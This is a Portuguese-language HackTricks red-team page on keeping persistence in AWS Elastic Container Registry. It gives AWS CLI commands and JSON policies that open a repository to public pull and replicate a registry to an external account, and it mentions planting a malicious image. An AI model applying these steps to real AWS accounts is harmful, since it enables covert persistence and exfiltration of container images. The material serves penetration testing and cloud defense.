AWS - ECR Persistence

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

ECR

Para mais informações, verifique:

pageAWS - ECR Enum

Imagem Docker Oculta com Código Malicioso

Um atacante poderia fazer upload de uma imagem Docker contendo código malicioso para um repositório ECR e usá-lo para manter persistência na conta AWS de destino. O atacante poderia então implantar a imagem maliciosa em vários serviços dentro da conta, como Amazon ECS ou EKS, de maneira furtiva.

Política do Repositório

Adicione uma política a um único repositório concedendo a si mesmo (ou a todos) acesso a um repositório:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

Note que o ECR requer que os usuários tenham permissão para fazer chamadas para a API ecr:GetAuthorizationToken através de uma política IAM antes de poderem autenticar em um registro e fazer push ou pull de imagens de qualquer repositório Amazon ECR.

Política de Registro & Replicação entre Contas

É possível replicar automaticamente um registro em uma conta externa configurando a replicação entre contas, onde você precisa indicar a conta externa para a qual deseja replicar o registro.

Primeiramente, você precisa conceder acesso da conta externa sobre o registro com uma política de registro como:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Em seguida, aplique a configuração de replicação:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización